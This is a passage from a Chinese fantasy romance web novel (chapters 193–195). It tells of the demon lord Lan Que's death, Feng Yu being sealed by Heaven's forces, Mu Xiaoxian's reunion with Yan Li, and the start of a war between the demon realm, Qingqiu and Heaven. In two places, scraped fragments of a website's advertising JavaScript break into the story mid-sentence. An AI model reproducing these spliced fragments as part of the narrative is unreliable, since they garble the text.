“我的哥哥嫂嫂、魔域的将士,死得如此凄惨又荒唐,难道要永久地掩埋在荒漠之中......”兰阙的眼睛忽然亮了一下,他大口喘息就像一条被抛上岸的鱼,转眼间突如其来的光芒幽幽淡去。 “会有办法,一定会有的。”凤钰抓紧了兰阙的手呼唤道:“我带你走,我们去找佛祖,我去求他们......” 兰阙急促地喘息着,但他的气息短促又微弱,声音也越来越小:“我想留在这里,我不想再离开魔域......” “可是......” “我想哥哥了......哥哥嫂嫂......不要丢下我一个人......”兰阙的神志越发恍惚,挣脱了凤钰的手,在空中胡乱地挥着,不知看到了什么,神情忽而欣喜,忽而哀伤。 “兰阙,兰阙!”凤钰急得大声呼喊,可兰阙仿佛没有听见。 兰阙忽又看向站在一旁的兰渊,将他唤到跟前。 “渊儿,渊儿......好好的......”他话音未落,眼眸忽的黯了下去。 兰渊重重跪在他的身侧,红着眼眶哑声道:“父君,我会守护好魔域。” “兰阙!”凄厉的凤鸣,冲破了魔宫长久以来的孤寂。 凤钰浑身战栗,止不住地摇头,两行血泪从眼眶流下,甚是可怖。他疯了一般从床上抱起兰阙,他要将兰阙带走,一定会有办法救他。 兰渊阻挡在他身前,声嘶力竭地吼道:“放下他!你没听见他说的吗?他不想离开魔域!事已至此,难道你不想让他安息?” 凤钰犹豫之间,兰渊一举夺回兰阙的尸身放回床上。凤钰回头看向兰阙沉静的睡颜,感觉自己的五脏六腑像被击碎了一般。他昏昏沉沉地推开门,无视一众悲恸的侍从将士,什么也没说,跌跌撞撞地走出魔宫。 魔域大丧,兰渊依前魔主兰阙的旧旨继位。在短短一千年间,魔域已经历第三任君主。 凤钰消失数日,突然又闯入魔宫,带回了锁魂铃。 兰渊喝斥道,父君死了你们都不放过,难道要他永世不得超生才遂了你们的愿望? 凤钰解释道:“锁魂铃是我偷来的,我想用锁魂铃留住兰阙的魂魄,只要魂魄还在,日后一定有办法让他重生。” 或许是兰渊也希望兰阙能够死而复生,或许是他念及凤钰的旧情,又或许是被凤钰几近哀求的神态打动,这一次兰渊没有阻止他。 但数日已过,兰阙的魂魄飘散,凤钰在魔域内只收集到了兰阙的一魂两魄。凤钰悲痛欲绝,携锁魂铃前往青丘,欲找华胥筝借招魂引寻找兰阙余下的魂魄。 此时天帝发现锁魂铃失窃,盛怒之下令符鸣上仙即刻带兵捉拿凤钰。 193. 第 193 章 阒静山林中,一团黑影如疾风飞速掠过枝头,不经意间,惊起枝摇叶晃、鸟雀扑腾。 忽然身影停在林间某处草地,凤眸向上一挑,眉间微微蹙起,罕见露出警惕的神色,将迈出半步的脚悄悄收了回来。 为躲避天帝追捕,凤钰遁走于青丘重山之间,几次险些与天兵打上照面,迟迟无法靠近长乐宫一步。 清风拂过草地,平静草地上陡然旋起一阵气流,凤钰瞳孔瞬间张大。 符鸣上仙赫然出现在几米之外,带着威压向他看来,神色大义凛然,仿佛他是世间正道的捍卫者。 他的身后站着一排井然有序的天兵天将,高举红缨枪,一眨不眨地盯着凤钰。 凤钰暗道不好,脚下虚步向后,却发现身后不知从哪儿也冒出了一排严阵以待的将士,亦有天兵守在云端。 前后夹击,进退维谷,他略略扫视一周,一息之间脸上的焦灼已尽数褪下,嬉皮笑脸地对符鸣说:“鸣鸣,你想我便自己来看我就是,搞这么大的阵仗做什么?” 这般熟稔的调侃,天兵天将一听,还真以为他俩之间有说不清道不明的关系。 符鸣脸色一沉,他好不容易爬上上仙的位子,岂是凤钰一言一语就能污蔑的? “凤钰,休要胡言!你私通魔族,盗走天庭宝物,我奉天帝之命前来捉拿你,乖乖束手就擒!” 凤钰呵呵一笑,笑容颇有些说不清道不明的意味:“符鸣,你这么说就没意思了,若不是因为你,我又何须与天帝为敌?”反手又将话头丢回符鸣身上。 “凤钰,你休要胡言乱语!”符鸣喊道。 “哦?”凤钰挑了下眉,打开扇子在胸前摇了摇,忽然变了眼色:“区区上仙,你还没资格这么和我说话!”扇子一挥,几道裹挟着仙力的疾风,如弯刀向符鸣袭去。 符鸣眉头紧锁,看准时机向上一跃,躲过风刃。一手握柄,一手抹开了剑身。那把剑通体透亮,缠绕着浓郁的仙气,剑身嗡嗡作响,似乎跃跃欲试。 一股旋风横扫而出,将天兵天将的布阵打乱,一个一个从天上坠落林中。 强劲的气流被一股仙力破开,就像砍断了一匹光滑的布料,发出崩坏的声音。 符鸣踩着气流之间的裂缝走出来,剑尖指向凤钰:“以风为刃,凤钰你就这点本事吗?” 凤钰勾起的嘴角一僵,思忖道不能被他激将,笑着地回道:“这点本事也足够对付你了。”笑意并未到达眼底,却有丝丝恨意渗透出来。 符鸣身体一顿,狭眸道:“是么,看来我和凤钰公子有过恩怨?” 凤钰幽沉地望着他:“当年的颛靡之战,是你在背后搞鬼。” “原来凤钰公子是想为魔域讨个说法。”符鸣了然。 凤钰握扇的手紧了紧,瞬间一股气流沿着他的身体从下蹿了上来。他满眼赤红,挥起扇子,几道寒光直冲符鸣面门而去。 电光火石之间,符鸣用长剑挑开凤钰的攻击,却被他强大的仙力压着后退几步,喷出一口鲜血。 凤钰乘胜追击,又一道疾风向符鸣打去。 符鸣却是未躲,嘴角的鲜血流淌而下,他笑道:“凤钰,你想弑神吗?” 弑神便是与天庭神官为敌,不论逃到哪里天帝都不会放过他。 可是凤钰是天地间唯一一只上古神兽金凤凰,天帝算老几? 就算弑神又怎样,只要兰阙能回来,他愿意付出任何代价。 凤钰眼中划过一丝狠戾,飞身袭向符鸣,这一击下了狠手,他要替兰阙报仇! 符鸣看准时机,徒手捏了一个金印。金印如一座大山一般压下来,凤钰迎头而上,两股力量产生了猛烈的对冲。 刺眼的光芒在空中爆发,两股强劲的气流将山中草木吹得拔地而起。地上的天兵天将被吹倒在地,连滚带爬地躲到大树后面。 “凤钰,交出锁魂铃,饶你不死!”符鸣吼道。 凤钰大笑:“你做梦!” 两股力量相互抗衡,一时难分高下。 “凤钰,你已被重重包围,交出锁魂铃,随我去天帝面前领罚,或许他会念在你过去为天庭效劳,从轻处理!”符鸣引诱道。 金印的光映在凤钰的身上,橘红色的衣袍如火如焰,他状似癫狂地哈哈大笑:“我做的最荒唐的事,就是信了天帝!他不配!” 压在半空的巨大金印光芒四射,凤钰火红的身影高举双手奋力抵抗,他眉间紧锁,汗如雨下,显然不甚轻松。可他依旧迟迟未取出锁魂铃,委实奇怪。 符鸣深沉的眼眸锁定在凤钰身上,暗暗怀疑凤钰是否将锁魂铃藏在了别的地方。如果锁魂铃尚在魔域,凤钰为何冒着如此大的风险逃来青丘? 符鸣狭眸沉声道:“凤钰,锁魂铃在哪里?” 饶是心力不佳,凤钰仍是冲他挑了下眉,带着几分戏谑和讽刺道:“当然是物归原主,还给魔域啦。” 这次天帝派符鸣带领天兵天将捉拿凤钰是假,夺回锁魂铃是真。如果锁魂铃不在凤钰身上,他们在青丘与凤钰兜兜转转便毫无意义。 符鸣目眦欲裂,加大了手上的力量,金光瞬间向下沉了几分:“我再问你一次,锁魂铃在哪里!” “不论你问多少次都是一样。”凤钰不落下乘,反手一扇,急促的气流灌入对抗的力量中。 风力迅猛,符鸣被破开的风刃划伤,袖子染上一片血色。 凤钰趁此良机飞快窜入丛林之中,一道橘色的身影略过树叶的缝隙。 “站住!” “凤钰!” 鬼才会乖乖听你的话!凤钰不一会儿就没了踪迹。 忽而上空传来一声爆喝:“凤钰!既然锁魂铃不在你身上,留你也无用了!” 凤钰冷哼道:“黄口小儿,还想吓唬你爹爹?” 他在林中极速穿梭,不一会儿便远去数百里,没入崇山峻岭中。见符明没有追来,暗暗松了口气,脚步渐缓。 忽然一道金光笼罩下来。他直觉不妙,来不及抬头看个究竟,提气加快速度。树叶簌簌而下,他的身影若风,捕捉不到半点踪迹。 然,上空的金光如一座大山倒塌。 天帝的金印是天庭诸位神佛耗费千年炼化而成的一道铜墙铁壁,除非与施术者有同等仙力,否则大罗神仙也救不出来。 天帝让符鸣带来金印的意思不言而喻。凤钰知道颛靡之战的真相,在神魔大战后盗走锁魂铃入魔域,近乎站在了魔域这边。天帝不想再留下后患,又不能将天地间唯一一只上古神兽金凤凰赶尽杀绝,于是打算将他封印起来。 符鸣的声音在林中回荡:“说出锁魂铃的下落,放你自由!凤钰,你可是最爱自由的。” 凤钰气极反笑:“你们封印了我,就永远找不到锁魂铃!” “天庭无所不能,就算锁魂铃在魔域,天庭总会有办法将它收回!” 凤钰大喊:“那你们便去找啊,追我有何用?” 金光笼罩下来,将凤钰逼退至一棵苍天大树前。 凤钰悬于一线,眼下只求能快点摆脱符鸣,他故作镇定道:“打个商量,我帮你们找到锁魂铃,你放我走?” 只一瞬,他抓住空隙立刻抽身而起,然那道金印却犹如泰山般稳稳压制住他的身体。 “凤钰,你满口胡言,只有将你封印于此,你才知道反省!”符鸣雄浑的声音响彻山野。 在越来越近的金光之中,凤钰被压制得动弹不得,嘶吼道:“我何错之有?何须反省!你们这帮假模假样的仁义之士,总有一天会发现你们坚守的正义,根本什么也不是!” 金光在他四周一收,原本站在大树之前的人影忽然消失不见。金印压在树干上,金光一闪,印也消失不见。 转瞬,一切声音归于平静,山林恢复了安宁,只余一棵盘根错节的参天大树,清风中枝叶微微摇曳。 “凤钰,你就老老实实待在这里,等天庭找到锁魂铃,自会有人放你出去。” 树中传来猖狂的叫嚣声:“哈哈哈哈哈哈哈符鸣,你永远也别想找到锁魂铃!” 天庭找到锁魂铃,封印才会被解开,但除了凤钰谁也不知锁魂铃与他一齐被封印在了树中。 藏在胸口的锁魂铃,散发出微弱的光芒,只一瞬间便熄灭,陷入了长久的黑暗之中。 凤钰曾是意气风发的凤凰,如今却蜷缩在狭小的空间里,守着一只黯然失色的铃铛,甚至不如山里的野鸡。 厢房里的香炉烧完了,最后一缕青烟袅袅飘散在空中。 好像打了一个很久的盹儿,浑身却更加疲惫了。 慕小闲久久不能回神,她望着凤钰,目光陌生得如同第一次见到他一般。 她不知是否能相信这个故事,也不知事到如今是否还能相信凤钰。毕竟在凤钰自述的故事中,他欺骗了兰阙,从而引发了天界上万年的动荡。说到底,她过往的遭遇和凤钰也不无关系。 始作俑者自然不可能是清白无辜的,但现在追究他的错处,已经没有意义。他被封印近万年间,与兰阙的残魂相守,如今依旧没能找回遗失的部分。 他可怜吗? 他是可怜的,但可怜他的人可以是任何人,却不能是兰阙,不能是慕小闲。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >慕小闲的气消了些,眼中的盛怒已经褪去,变作了一种历经风霜后的处变不惊。 “凤钰,你做这一切究竟是为了什么?” 凤钰自嘲似的笑了一下,不再掩饰嘴角的苦涩:“我不知道。小闲闲,也许一开始我是为了在天庭谋个一官半职,好在天庭那吃人不吐骨头的地方生存更体面,才答应了天帝来魔域探听锁魂铃的消息。 “但来到魔域后,我在这里找到了我从未体会过的生活。生存与生活只差一字,却全然不同。从前我看似逍遥自在地活了十数万年,却如同行尸走肉浑浑噩噩。魔域明明是世上最野蛮险恶之地,却开出了单纯真挚的花。我觉得的心脏终于会跳动了。 “但是这一切才刚刚萌芽,又被天帝老儿摧毁了。我要将兰阙找回来,我对不起他。既然这一切是由我开始的,那么就由我来结束吧。” 慕小闲的眼睫颤了颤,一时不知该作何反应。她毕竟没有前世的记忆,或许可以囫囵地攫取事情经过,但却很难在短时间内深切理解凤钰的意思。不过凤钰有凤钰的夙愿,她也有她的使命。 “在你被封印之后,兰渊做了什么?殷乐是如何替代白瑶的?” 慕小闲上天之后屡次遇见兰渊,她不信凤钰在解除封印之后从未与兰渊取得过联系。何况他解除封印后在春桃宴上闹出那么大的动静,现在又出现在魔域,兰渊不可能不知道他的动向。 凤钰提了口气,缓缓道:“封印之后的事情我了解的不多,渊儿在兰阙去世、我被封印之后,变得更加阴郁。卧薪尝胆多年之后,一次偶然的机会发现殷乐的面貌与青丘之主永昭殿下的女儿白瑶......也就是你,有几分相似,于是和苏怜漪开始有计划地培养殷乐。阴差阳错,永昭殿下带着公子鸢和凝寒离宫,只剩下白瑶一人。” 慕小闲眸色深沉,质问道:“所以就趁机狸猫换太子?凤钰,长乐宫可不是那么好糊弄的,青丘之主也不是想换就换的。当年究竟发生了什么?” 凤钰欲言又止,喝了一口杯中的冷茶,惨淡地笑道:“小闲闲,长乐宫确实不容易糊弄,青丘之主也并非想换就换,但若是宫中有人接应,这件事就会容易很多。” 慕小闲倒吸一口冷气,仿佛浑身的血液都在一瞬间开始倒流。 ——宫中如有人接应,这件事就会容易很多。 ——有谁能在宫中接应? 这个人一定身份尊贵,才能在长乐宫布下天罗地网。也一定对她极为熟悉,才能赢得她的信任。在神不知鬼不觉的境地,将她推入火场。 慕小闲瘫软在椅子上,冒了一身冷汗。她想,她应当知道是谁,但她尚且不知该怎么办。 凤钰见她几近崩溃,宽慰道:“或许有什么误会也说不定,人与人之间的阴差阳错本就是命数。” 慕小闲心中压抑地说不出话,她缓和许久,红着眼眶瞪向凤钰道:“难道我的命数就是活该被人夺去身份?凤钰,你不要以为我是好欺瞒的。你想为魔域开脱,想为兰渊开脱,想为殷乐开脱。你有没有想过就是因为他们,我才落得如此下场!凭什么?” 凤钰诡辩道:“在你眼中,殷乐是夺你身份、害你坠入轮回的罪魁祸首。但于魔域而言,她是舍小我成就大我的民族英雄。没有她,魔域就没有希望。” 慕小闲气得浑身发颤:“魔域的未来就靠一个冒名顶替的女人是吗?或许一开始她是为了魔域复兴,但在知晓我身份前后屡次对我痛下杀手,则是为了一己私欲,她不配你口中的家国情怀与深明大义!我不会放过他们!” 凤钰叹了一口气,脸上越发惨白,带着一丝乞求的意味说:“居高位者,有哪一个能忍受这样的事情。小闲闲,看来你已经找回自己了。我不求你放过魔域,只求他日你在面对兰渊时,能顾及当年兰阙的残魂救你之恩。渊儿是他在世上唯一的挂念。” 慕小闲可以杀了殷乐,但是她不能动兰渊。 她不能动兰渊,因为当年兰阙的救命之恩。 当年在北溟海极,若是没有那一缕残魂,她恐怕早就命丧海底。若是没有残魂,在花神山催动锁魂铃时,她恐怕也难逃一死。 何况如果魔域无主,天界三足鼎立的局面再次失衡,青丘无法抵御天庭的力量。她现在竟是和兰渊拧在了一条绳上。或许兰渊此前将她困在牢中不杀,也是有所顾及。 凤钰的眸光浮现一层柔和的水雾,唇边的苦涩消失了。他垂眸柔声道,“他死后还在庇护后人”。 因为思忆起兰阙的残魂,这个曾经名义上的爹,慕小闲的怒意消散了些许,望着屋内早已燃尽的香炉,重重叹了一口气。 194. 第 194 章 没有永远的朋友,也没有永远的敌人。如今慕小闲身后倚靠的是青丘的未来,饶是对凤钰颇为不满,也只能暂且隐忍。 凤钰消停了一天,隔日又嬉皮笑脸地敲开她的门:“来了一位重要的客人,你一定想见。” 慕小闲看着他青紫色眼眶和红肿的脸颊,陷入沉默。她还没动手,就有人替她揍了凤钰,她还真要感谢这个重要的人。 门外飘来一阵寒气,四周温度骤降,凉意中隐约带着一丝熟悉的清香。明明细微得不能再细微,可慕小闲却突然心跳加速。 她后退半步,眨了眨眼睛,提起一口气,目光遥遥望向凤钰身后。 凤钰不怀好意地咧嘴一笑,还没来得及开口,就被一股力量掀开。 慕小闲听到自己的心跳一下接着一下,剧烈地撞击着胸口。 清冷的白衣闯入她眼中,熟悉又陌生的眼眸与她一撞,立刻攥紧了她的心。 双目对视,仿佛跨越了时间与空间。漫长的分别与等待,依旧是她魂牵梦绕的面容。 “晏离。你......来了。”慕小闲绷紧了身体,带着一点点兴奋,一点点紧张望着他,唇角已不自觉展露出笑容。 晏离眼中明明亦有波澜,却故意冷声:“我若是不来,你怕是忘了我这个人。” 听听!听听!他说的是,我若是不来,怕你会忘了我! “是谁说的,三年一到就来找我。” 慕小闲心里一软,赶紧粘上去抱住晏离的胳膊:“我这不是没来得及吗?我心里一直都惦记着你,只是一时不知道该如何找到你。” 晏离眸色淡然地瞥了她一眼,伸出手抚上她的脸。慕小闲乖巧地拿脸蹭了蹭他的掌心,脸上有些燥热。 她小心翼翼地打量着晏离,他似乎又清瘦了,神色还有些疲惫。 忽然,两只手指掐住了慕小闲的两颊。 慕小闲嘟起嘴眨了眨眼睛:??? “小骗子。” 慕小闲不敢挣扎,眼珠一转,讨好似的傻笑了一下,含糊不清地嘟囔:“我哪里敢骗你呀。” “满嘴谎话。” 晏离的眸光落在慕小闲红润的唇上,重重压了上去。 风光旖旎,无限思念与温情,融化在深吻之中。 门外传来轻浮的声音:“哎呀呀,我是不是该走啊?” “滚。” 门应声阖上。 慕小闲倚靠在晏离的胸前:“晏离,红脸怪人真的在三年之内让我修炼出了自己的内丹。我离开红脸怪人之后,原本想去找你,但是我知道兰渊和殷乐一定不会放过我,如果我出现在青丘境内,恐怕会引起他们的注意,所以索性潜入魔域打探消息。 “谁知道还没进魔域,差点撞上了兰渊,只好躲进鸾喜阁的马车里,一路跟着他们来到这里。凤钰正好是鸾喜阁的东家,你说巧不巧?” “不巧。”头顶传来冷冷的声音。 慕小闲尴尬地笑笑:“是挺不巧的。我不是有意不去找你,你还生气吗?” 晏离垂眸,目光落在慕小闲的脸上,目光深深地被她吸引。 “与你相处的时间太少,不想把时间花在生气上。” 慕小闲眼睛一亮:“这么说,你不生气了?”她环抱住晏离,在他衣襟处蹭了蹭,猛地吸了一大口他身上的清香:“晏离,我好想你啊。我好怕再也见不到你了。” 晏离搂在她腰间,低声说:“别再离开我了。” 慕小闲将魔域的往事一一告知晏离,晏离听后良久不语,只是摁在她腰侧的手愈发紧了。 “再用力一点我的腰就要断了。”慕小闲在他耳边轻声道。 晏离松开手,耳侧浮上一层红晕。 慕小闲问道:“这几年天庭可有动作?” “你失踪后,我四处寻找你的下落,曾偶遇卿书,她说天庭这些年与青丘的交往愈渐频繁,时常派遣使者前来,看似拉拢青丘,或许是因为......” “因为发现青丘与魔域暗中往来?” “极有可能。但殷乐做事谨慎小心,每每使者觐见并无不妥之处,所以天庭还未有所动作。” 慕小闲深吸一口气,叹道:“天界数万年形成的格局,不可能一朝一夕之间打破,我消失不过短短三年,应当还来得及才是。” 就在她思索时,耳边突然冷不丁传来:“天庭虽未有动作,但华尧上神近来倒是频频出没于青丘。” 慕小闲微微一愣,见晏离眸中隐隐有些不悦,环住他的脖颈:“晏离,我发现你吃醋的样子特别可爱。” 晏离面对她饶有兴致的目光,侧过头:“我没吃醋。” 慕小闲唇边的笑意加深:“那你就是故意试探我,看我对华尧有没有心思。” 晏离对上她的视线,像是要一眼望进她的心里:“你有吗?” 慕小闲松开手,撇过头:“华尧上神好像与我还有婚约,天庭和青丘联姻可不是闹着玩的,哎呀,这可怎么办呢......” 话音未落,她眼前天翻地覆,突然被压在床榻上。 “你......” 在她的惊呼中,密如雨点的吻落在她的脸颊、唇边...... 良久,晏离忽然停下,闭上眼胸口微微起伏:“我是醋了,我嫉妒他能名正言顺地出入青丘。” 慕小闲的手抚上晏离的脸庞,他睁开双眼,近在咫尺的人轻轻吻上他的唇角:“我知道。等这一切结束,我就取消婚约,让你堂堂正正站在我身边。” 慕小闲倚靠在晏离的胸前,把玩着他垂下的青丝,却是认真道:“我想见兰渊。” 晏离微微凝眉,眼中是不赞同:“他若是再对你出手该如何?” 慕小闲:“我在魔域不可能不留下痕迹,若是等他找上门才是真的危险。我想让凤钰牵线,开诚布公找他谈一谈。这些年我音讯全无,在他没有摸清我的底细前,不敢轻举妄动。” 晏离眼中仍是凝着担忧:“你相信凤钰吗?” 慕小闲目光幽幽:“我信不信不重要,只要锁魂铃在我手上,他不帮也得帮。” 两人密谋三日,未踏出房门一步,柳夫人以为出了什么事,不顾凤钰的眼色敲门道:“紫荆,你还好吗?” 片刻之后,只见慕小闲衣冠不整地推开门,眼神还带着一丝慵懒的倦意,打了个哈欠道:“什么事?” 柳夫人闻到一丝不寻常的气息,脸上一红,遥遥向房内望去,瞥见床头一缥缈侧影,喃喃道:“这是谁家的公子,怎生得如此清丽?” 慕小闲扬袖挡住她的视线,抬起下巴得意道:“我家的。” 柳夫人收回目光,剐了她一眼,揶揄道:“知道你没事就行了,还有几日花魁大赛,你好生准备,我不打扰你们了。” 门一合上,慕小闲转身向床边走去,就听晏离冷声道:“花魁大赛是怎么回事?” 慕小闲脚步一缓,直觉不好,赶紧解释道:“我没想参加,这不忘了跟他们说......” 暮色褪去,橘得发白的晚霞在辽远的大漠凝成一块琥珀,夜色倾覆,荒漠上亮起了点点星光。 一排护卫在鸾喜阁楼下列队,凤钰和柳夫人恭候在门前。身着深紫色织金云纹华服的兰渊独自走入鸾喜阁,跟随着凤钰上楼。 鸾喜阁最大的厢房内,慕小闲和晏离早已等待多时。门一推开,兰渊抬起眸子看向慕小闲,勾起鲜红的唇,意味不明地笑了。又带着几分审视看向晏离,眼中划过一道思量的光。 慕小闲与兰渊打过交道,对他的感觉总是阴冷。惨白的肤色和鲜红的嘴唇,就像一个见不得光的吸血鬼。 凤钰也尾随兰渊走进厢房坐下,掏出他的宝贝扇子装模作样地扇了起来。 兰渊幽幽说道:“凤钰叔叔,你先出去。” 慕小闲噗嗤一声笑出来,闹得凤钰脸上红一阵白一阵,收起扇子推门而出,边走边嘟囔:“什么叔叔,我还没那么老呢。不过阙阙是叔父,我确实算是叔叔......” 兰渊睥了慕小闲一眼,阴冷幽深的眼神让她收起了笑容。 慕小闲坐正,严肃道:“兰渊。” 几年未见,慕小闲身上的青涩褪去不少。兰渊有一瞬间的恍惚,才意识到现在在他面前的,并非是当年的慕小闲,而是真正的青丘之主。 但她还不能成为青丘之主。至少现在不能。 兰渊红唇微启,幽幽地说:“慕小闲,这些年你让我好找。” 慕小闲嘴角浮现一丝浅笑:“劳烦魔主惦记。” 兰渊望着她眼眸微动:“你躲了这么多年,怎么现在突然改变主意出现了?” 慕小闲道:“不是我有意躲藏,而是时候未到。如今魔主在天界布下天罗地网,却迟迟不向天庭发动进攻,不也是在等候时机吗?” 兰阙神色不变,看她的目光多了一分揣摩:“没错。我是在等,你约我过来,有何高见?” 花魁大赛歌舞升平,魔主在鸾喜阁逗留七日才回到魔宫。这七日他见了何人发生何事,并未在历史上留下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 浓墨重彩的一笔。 日子如同车轮滚滚而过,又如同涛涛江水奔流不绝,平静中暗潮汹涌,谁也不知藏于水下的冰山何时会倒塌。直到一年后,天庭与魔域突发争端。 天庭与魔域虽不交好,但两地之间存在边境市场暗中交易。一名隐瞒身份的神官与魔族交易炼制神器的材料时,将原本的材料暗中偷换为一批赝品,被指出后碍于脸面,非但不承认还反咬一口,叫来天庭群众给他撑腰。 边境市场多有纠纷,看热闹的围观群众也大有人在,但谁也没有想到,魔族在天庭的欺压下积怨已久,居然与天庭神官大打出手。 天兵匆匆赶来镇压,其他魔族看不过去,也加入这场混乱中,单挑成了群殴,打斗场面一发不可收拾。 一名天庭神官为挽回局面祭出神器,将在场的魔族一网打尽,最终演变成一场无可挽回的灾难。 这件事很快传遍了天庭的大街小巷,正当天庭人士边喝茶边对此夸夸其谈时,忽然近旁一处酒肆“轰”地一声被炸得支离破碎。 天庭众仙惊出一身冷汗,后知后觉地发现,魔族势力早已悄悄地潜入天庭。 又三日,魔域向天庭正式宣战。边榷事变也被认为是第二次神魔大战的导火索。 魔域不是第一次无缘无故向天庭开战,天界许多不明事理的仙人对此颇有微词,都等着看魔域的笑话。魔族素来野蛮残暴、品行不端,这次最好能被天庭一锅端了,否则本性难移,多年后恐又将卷土重来。 魔域之主兰渊协同凤钰带兵出征,一路势如破竹,直压天庭边境。 天帝大怒,随即派华尧上神与符鸣上神带兵应战,下令势必要魔域付出代价。 天兵天将列队云端,云海翻滚,银甲如同龙鳞泛着点点莹光。 凤钰身上的橘红色如同灿烂红日,张扬耀眼,将天边的浮云染上了一层暖光。这是他在封印之后第一次出现在公众面前,深深刺痛了天庭某些神官的心。 华尧与符鸣身着厚重的铠甲,发带银甲钗,手持盘龙战戟,整装待发,皆是面色严肃。 特别是符鸣眼中含怒,似恨不能在凤钰身上烧一个窟窿。他仍旧不明白为何凤钰能解除封印,难道真的因为那个白日升天的小姑娘? 符鸣身后是初出茅庐的武凌,他身着铠甲,对魔兵怒目而视,颇有几分符鸣的真传。 凤钰手持一柄折扇,松松垮垮的袍子搭在肩上,狭长的凤眸随意落下一瞥,唇边若隐若现的微笑却带着森森寒意。 “看看这是谁来了?华尧、符鸣,别来无恙。”凤钰语气轻巧随意,仿佛是在茶楼饮茶时遇见路过的旧友。 这一副浪荡模样委实让人恼火,符鸣喝道:“凤钰,你私通魔族!罪无可恕!竟然还敢自己送上门来!” 凤钰眼角含笑,手中扇子悠悠扇了扇:“哦?我可是在天庭挂了一官半职?我若是在天庭没名没分,你倒是说说,我犯了什么罪?”言罢,他凝眉装模作样地叹了口气,好似在惋惜天庭识人不清。 符鸣欲与他争辩,被身侧的华尧拦住。 华尧眉宇间压着肃杀之气望向凤钰,风雨欲来、蓄势待发的气势就像一只逼近猎物的野兽。 “魔主,你可想好了?” 他没有理会阴阳怪气的凤钰,而是直指魔主兰渊。 兰渊含着阴云的目光与华尧无形之间已开始一场厮杀与较量。他盯着华尧,如同毒蛇吐性子,勾起红唇幽幽道:“这句话应当天帝来问,你算什么东西?” 魔主亲征,天庭只派了两名武将,委实不把魔域放在眼中。 天兵中传来一声哄笑:“魔主这腔调我听着耳熟,据说他经常出入叙情馆,是不是跟着小相公学的?” 话音未落,众银甲之中突然喷射出一血柱,一声高昂的嘶吼迅速沙哑。天兵哗然,华尧拧紧眉头喝道:“肃静!” 天兵训练有素,一声令下,齐齐亮出武器对准魔兵。 气氛如同一根绷至极致的弦,两军交战一触即发。 “魔主,你们这些年来在天界四处埋伏,不要以为天庭什么都不知道。就算你们早有准备又如何?神魔大战一役魔域大败,损失惨重,这些年魔族在天界夹着尾巴生存,如今势孤力薄,根本不可能获胜!现在投降,缴枪不杀,莫要负隅顽抗!”符鸣喝道。 兰渊挑了下细眉,幽深莫测地笑了:“是么?”阴冷的声线让人毛骨悚然。 正当所有神官都以为这一次青丘又要神隐时,一支训练有素的军队从青丘边境攻入天庭。 195. 第 195 章 云海翻滚,变幻莫测,似乎比天界存在数十万年间的任何时候都更加汹涌澎湃。天庭玉霄殿上,天帝负手徘徊于宝座前,遥遥望了一眼远处的混战,蹙紧眉头:“你说,青丘也派兵攻上来了?” 青丘素来不参与天庭与魔域的争斗,青主白瑶说起来还是他的外侄女,怎么可能站在伙同魔域攻打天庭? 天帝眼中划过一抹阴沉的光:“白瑶来了?” “尚未看到青丘之主。” 天帝沉吟片刻,问道:“队伍中可有施未羽和卿书?” 天兵否认道:“并未见到青丘左右相。” 白瑶与左右相都未出面,究竟是什么意思?趁乱打劫?魔域许了她什么好处? 殿下跪着的天兵焦急道:“大部分天兵天将都随华尧上神、符鸣上神去了南天门,东天门镇守的将士为数不多,恐怕坚持不了多久。” 天帝眼神微变,当机立断道:“青丘意图尚不明确,召集天庭余下的神官前往南天门与魔主周旋,再调一队天兵天将前往东天门支援。这一次魔域只怕是做足了准备。” “报!”前脚刚退下,后脚又一名天兵自遥远天际火速赶来:“天帝!东天门失守!青丘的军队攻入东天门后,正赶往南天门与魔兵汇合!” 天帝大惊:“你说什么?东天门失守?镇守在那里的天兵呢?” 天兵将头埋得更低:“回天帝,青丘有备而来,东天门将士不敌,只僵持了一炷香的功夫就......” “一帮废物!”他眼光一闪,片刻之间拿定主意呼喝道:“快,召集天庭所有力量,必须将魔兵抵挡在南天门外!” 南天门外,天兵与魔兵陷入苦战。战场上几束光球爆裂,一波接着一波的热浪冲击下,人影被掀至半空,叫嚣声、惨叫声不绝于耳。 天帝匆匆赶来,他身着白色长袍上绣苍龙腾海,金色波涛泛着璀璨光辉,身上亦散发出威压的气势。甫一出现,仿佛一束天光照进混乱的场面,让人难以忽视。 战场险恶,魔兵杀红了眼,越发躁动起来。 天帝雄厚的声音像一盏金钟罩从天而降:“魔主,你无故挑起事端,是想与天庭为敌?” 凤钰一拂袖避开攻上来的天兵,阴阳怪气道:“呵呵,天帝莫不是以为我们在玩过家家?” 天帝垂眸瞥了一眼凤钰:“凤钰,你身为上古神兽金凤凰,本应守护天地和平、引领世间繁荣昌盛,你却玩忽职守,与魔族为伍,残害天庭将士,视众生于不顾。看来上万年的封印也没能叫你悔悟。” 凤钰嘲讽道:“天庭从未给我一官半职,怎么现在记起我的重要了?我区区一介逍遥仙人,可担不起藐视众生的名头。” 此时,天庭的诸位神官一齐现身于天帝身后。 兰渊突然眯起眼睛:“看来人都到齐了。”声音柔魅中又有些瘆人,仿佛等候的猎物终于落入陷阱之中。 “他该不会想同归于尽吧?他疯了吗?”神官有人嘀咕道。 天帝眉头紧锁,冷凝的目光落在兰渊身上,眼神变得幽深复杂起来。 万年前神魔大战后,前魔主兰阙身故,魔域遭受重创,一度陷入绝境。当时有传言由尚且年幼的兰渊继位。他间接杀了兰渊的爹爹、叔叔,也不会将这个稚嫩的新魔主放在眼中。不过兰渊在短短时间就能卷土重来,还将一向不理纷争的青丘拉入战局,倒是让他有些意外。 天帝沉声道:“你究竟想做什么?” 兰渊抬起手,手指直指向天帝,眼中的杀意不再隐晦:“我要杀了你。” “魔主,不要欺人太甚!魔域虽然在万年前的大战中惨败,但在那之后天庭并未趁势迫害魔族,对你们已是仁至义尽!挑起事端的本就是你们,你们还有什么不满意?”天庭某位神官高声质问道。 兰渊如毒蛇般阴冷的目光瞥了一眼声音的来处:“挑起事端的是我们?天帝,你说是这样吗?” “什么意思?”仙群中不满道。 天帝眼神一动,立刻喝道:“休要妄言!魔域攻打天庭,天理不容!华尧上神、符鸣上神,将他们拿下!生死不论!” 天帝一声令下,厮杀越发激烈。 